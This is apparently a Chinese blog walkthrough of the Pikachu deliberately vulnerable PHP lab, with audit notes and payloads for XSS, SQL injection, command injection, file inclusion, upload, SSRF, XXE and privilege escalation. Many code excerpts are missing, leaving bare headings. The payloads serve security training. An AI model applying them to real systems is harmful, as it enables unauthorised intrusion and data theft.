2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。
一、安装
Phpstudy_pro设置数据库用户名密码 root 123456
更改\pikachu\inc\config.inc.php
访问pikachu页面点击配置即可。
二、 攻略(包含审计)
1.暴力破解
1.1关于表单的暴力破解
重点代码:
含义:POST方式传入用户名密码,做了一个与数据库交互的方式。
跟进prepare,查看是对sql语句做了一个预编译的情况,bind_param做传参。
接下来就是做了一个判断用户名密码的对错返回html页面中回显。
复现:bp爆破即可
admin/123456;pikachu/00000;test/abc
1.2验证码绕过(on server)
重点代码:
含义:POST提交,需要传入username/password/vcode参数,strtolower函数对验证码做了一个转小写的操作。
核心问题代码:
Session值是临时会话验证,没有被销毁,可以用同样得session值进行爆破绕过。
所以验证码是可以重复使用,通过验证码重复使用漏洞来做暴力破解
1.3验证码绕过(on client)
同上没毛病,对用户名和密码做了验证,这次是多了个对验证码做了刷新验证:
问题出自只对验证码做了前端的一个刷新认证,没有到后端这块,所以可以绕过前端做暴力破解行为。
1.4 token防爆破
重点代码:
添加了一个token值传入验证,
问题代码:
代码是说每次都会输出一个token值作为使用,只要每次爆破做token值替换即可进行暴力破解。
下述功能:从响应代码中提取参数值进行替换作爆破。
2.Cross-Site-Scripting(XSS)
2.1反射性XSS(get)
危险函数:echo
看上下文:追踪变量$html
<p class=’notice’>输入’kobe’试试</p>
传入Html变量中,如果不赋予html变量kobe,将走下一步。
没有拦截限制直接GET方式传入html变量中,问题代码如下:
字段长度做了一个限制,只要前端改改就可以绕过,或者采用较短的XSS语句去绕
2.2反射性XSS(post)
主要代码:
POST传输,跟进escape:
对传入得username/password做了一个转义处理,抓包查看:
登录成功后做一个跳转至xss_reflected_post.php:
主要代码:
问题代码:
正常payload走一遍:
将post参数传入了变量$html中,最后<br />
打印到页面中
2.3存储型XSS
主要代码:
问题代码:
存储XSS是通过变量$html输出,但如果不选择走存储XSS,这里还有个sql-delete注入,分析,首先通过转义传入,做了一个判断,然后接下来走sql语句交互:
通过get方式传入id参数来进行数据库交互做删除处理,再往下看:
输出到页面,无拦截,可以留言后点击删除抓包即可看到id=xxx,做sql注入。
2.4 DOM型XSS
主要代码:
GET方式传入text参数,往下看:
输入给参数text代码:
问题代码:
首先是通过text传进来,用了一个’”+str+”’,单引号进行闭合,所以需要绕过单引号,另外是尖括号做包裹,XSS代码需要跳出去,所以可以用'><img src="#" onmouseover="alert('xss')">
绕过。
2.5 DOM型XSS-X
主要代码:
问题代码:
输出代码:
主要绕过的问题是做了一个replace(/+/g,’ ‘);做了一个对反斜杠的一个过滤。
2.6 XSS之盲打
将数据提交到了后台,登录/admin.php后方可看到。
2.7 XSS之过滤
主要代码:
做了<script标签的过滤,只需要<SCRIPT>ALERT(1)</SCRIPT>
全部置换为大写,就可以绕过小写的过滤。
2.8 XSS之htmlspecialchars
主要代码:
但是做了三个变量的判断,用htmlspecialchars做尖括号过滤
Payload=’ οnclick=‘alert(111)’
2.9 XSS之href输出
主要代码:
将输入的数直接付给变量$html中,然后做一个点击标签get方式的访问,也是做了一个html尖括号过滤。
Pyload=javascript:alert(1)
2.10 XSS之js输出
主要代码:
问题代码:
要先通过同样的标签进行闭合:payload:</script><script>alert(1)</script>
即可绕过
有个巧妙的地方:从代码中可以看到//$jsvar=htmlspecialchars($_GET[‘message’]
当把注释符去掉,其实从逻辑中可以看出一样东西,如果要进行xss注入,要先用标签</script>
进行闭合行为,而htmlspecialchars可以过滤掉</>
标签,而进行闭合发生了错误,自然就注入失败。
3. CSRF
3.1 CSRF_GET
Csrf_get_login.php做了登录页面跳转:
跳转到csrf_get.php后可以做信息修改:
进行修改跳转csrf_get_edit.php中:
这里做出了一个修改操作,但是没有验证cookie值,可以造成csrf漏洞,以get方式传输。
3.2 CSRF_POST
跟上述差别不大,只是换了种传输方式:
3.3 CSRF_TOKEN
Token:令牌,和Session,Cookie一样,都是身份标识,Token通常存在于URL和Cookie中,它是用于防止CSRF漏洞的。跟上述差不多,但问题代码在:
用该token值做CSRF即可。
4.SQL
4.1 sqli_数字型(数字型注入)
主要代码:
用POST方式将变量id直接赋在语句当中,没有做任何拦截,根据值判断是数字型注入:
Payload=id=-4990 UNION ALL SELECT CONCAT(0x7162707a71,0x486b52555a50786a5344594746686f586d5546776b667a646363636d707050766e736954544c4374,0x71716a7071),6284-- -&submit=%E6%9F%A5%E8%AF%A2
4.2 sqli_字符型(字符型注入)
主要代码:
GET方式传给$name,用到一个单引号包裹,做字符型注入,会发现输入东西后,是用GET方式进行传输:
Payload=id=GTID_SUBSET(CONCAT(0x7162707a71,(SELECT (ELT(2418=2418,1))),0x71716a7071),2418)&submit=%E6%9F%A5%E8%AF%A2
4.3 sqli_搜索型(字符型注入)
主要代码:
危险函数:like模糊查询
可以看到使用到了’%%’来进行包裹变量,用get传输方式,但是只要用一个单引号来做前面的闭合即可进行sql注入,但在判断字段时应该先闭合%,就是%’这种方式将前面的闭合。
Payload=name=123’ AND GTID_SUBSET(CONCAT(0x7176717171,(SELECT (ELT(3787=3787,1))),0x716a7a7671),3787)-- ICmK&submit=%E6%90%9C%E7%B4%A2
XSS彩蛋:
根据闭合情况,其实就可以做出payload:%’ ><script>alert(1)</script>
即可绕过
4.4 sqli_xx型 (字符型注入)
主要代码:
做了一个(‘’)包裹,只需要绕过即可,先做出闭合判断:’) or 1 = 1#,然后再慢慢爆.
4.5 sqli_insert/update(注册/修改报错注入)
Insert:
先看登录页面代码:
Md5做了password的处理,这里不会走程序把输入的值转码,查看登录后跳转页面sqli_mem.php:
这是个问题代码,对传入的username的值只做了单引号的包裹,绕过即可注入。
但是有个问题,在$username=$_SESSION[‘sqli’][‘username’]
中,username只是负责传递但不是作为在修改处的可控变量,出自跳转页面:sqli_edit.php:
所以回到注册处,是发现未将username转义,传入进去,导致报错,核心问题代码:
构造payload=’ or updatexml(1,concat(0x7e,database()),0) or ’
Update:
关键变量是$sex,主要代码在sqli_edit.php修改处:
可以看到sex是拼入sql语句中,也是只需要闭合单引号即可,payload:payload=’ or updatexml(1,concat(0x7e,database()),0) or ',插入到修改处的性别即可。
4.6 sqli_del(删除注入)
主要代码:
首先是是对传入来的参数做了一个escape转义处理,然后传进去,这里做不了post注入,问题出自下面,在删除过程中,没有对id的值做处理,也没有其他过滤,payload= 1+or+updatexml(1,concat(0x7e,database()),0)
4.7 sqli_header_http
登录页面代码:
对username、password都做了一个转义,登录跳转至sqli_header.php看看:
问题代码:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
变量有$is_login_id
、$remoteipadd
、$useragent
、$httpaccept
、$remoteport
,burpsuite抓包查看数据包找到这几个变量即可,需要做单引号闭合的操作,payload= ’ or updatexml(1,concat(0x7e,database()),0) or ’
4.8 sqli_盲注(base on boolian)
盲注特征:
1.没有报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1= 1/and 1= 2发现可以判断
主要代码:
直接传入sql语句拼接,需要绕过单引号做闭合,另外是存在mysql_query,不打印错误描述:
Payload=kobe’ and ascii(substr(database(),1,1))>111#
4.9 sqli_盲注(base on time)
主要代码:
要考虑单引号闭合,和上述一样,但是由于服务器有执行时间,所以是基于时间的盲注。
Payload=kobe’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#
4.10 sqli_宽字节注入
主要代码:
关键代码:$set = "set character_set_client=gbk";
当设置编码为gbk时,由于转义的方式可以造成宽字节注入,绕单引号做闭合即可。
抓包将$name修改即可。
Payload=1%df’ or 1=1#
5.RCE
5.1 RCE_ping
主要代码:
Post方式传入ipaddress,然后是赋给变量$ip
,到后面直接执行命令shell_exec(‘ping’).$ip
,ping已固定,可变是$ip,相当于系统已经是固定好了ping xxx,直接输入一个ip地址即可。
Payload=192.168.x.xx&ipconfig /all
5.2 RCE_eval
主要代码:
问题代码:if(@!eval($_POST[‘txt’])){,eval直接做执行,验证payload=phpinfo();
6.fileinclude(文件包含)
6.1 fi_local(本地文件包含)
主要代码:
可控变量:filename,访问之后可以读取该本地内的其他文件,payload=filename=…/…/…/…/Windows/System32/drivers/etc/hosts&submit=提交查询#
6.2 fi_remote(远程文件包含)
关键问题是php.ini配置文件中:allow_url_include=ON时存在。
主要代码:
在本地写一个payload.txt文件,内容是<?php phpinfo();?>
Payload=/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.1.13/pikachu/payload.txt&submit=提交查询
查看效果:
7.Unsafe fildownload(任意文件下载)
Execdownload.php中做了一个验证判断:
这里都没什么问题,问题代码和文件包含处一样:
使用了filename的函数,而filename变成了一个可读变量,payload=http://192.168.43.241/pikachu-master/vul/unsafedownload/execdownload.php?filename=…/…/phpinfo.php
8.Unsafe Fileupload(任意文件上传)
8.1 client check
主要代码:
传入的文件中,对文件上传做了一些限制,跟进upload_client函数:
看了一看,只要不要超过Php.ini配置文件中大小,就可以上传成功,无拦截。
8.2 MIME type
问题代码:
对上传的文件做了一个图片的识别,绕过即可。
8.3 getimagesize
主要代码:
这次做了一个很严格的判断,但是可以上传图片马通过文件包含漏洞配合来执行php。
9.Over Permission
9.1水平越权
登录口代码:
![在这里插入图片描述](https://img-blog.csdnimg.cn/78dbd915253d4957a7e6bc982ba0efdc.png跳转到后台op1_mem.php处:问题代码
通过了传入的username的值来做判断返回相应的信息,只要抓包修改成另一个用户的名字即可拿到另一名用户的信息。
9.2垂直越权
主要代码:
问题在于登录时变量$_SESSION
传入的level来决定进入的页面,修改级别1即可进入admin.php管理员页面,但是level值不是作为变量可控,所以可控变量应该为$_SESSION,通过抓取添加用户页面op2_admin_edit,抓包用user用户来做添加,成功即可说明垂直越权,问题代码:
10.目录遍历
问题代码:
Payload=/pikachu/vul/dir/dir_list.php?title=…/dir.php
11.PHP反序列化
危险函数:unserialize/serialize
Payload=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
核心代码:
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
12.XXE
XML:
<!--第一部分: XML声明-- >
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档-->
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>
DTD:
1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名” “公用DTD的URI” >
问题代码:
主要是添加了LIBXML_NOENT参数开启了外部实体解析导致漏洞。
Payload=<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>
13.URL重定向
主要问题代码:
url可控
14.SSRF
14.1 ssrf_curl
危险函数由两个判断:curl_exec、curl_close
先来看意思:
关键代码:
对GET方式传入的url后面执行了cURL会话后关闭。
Payload=/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com/
14.2 ssrf_file_get_content
关键代码:
危险函数:file_get_contents
Payload=/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.x.x/xx.index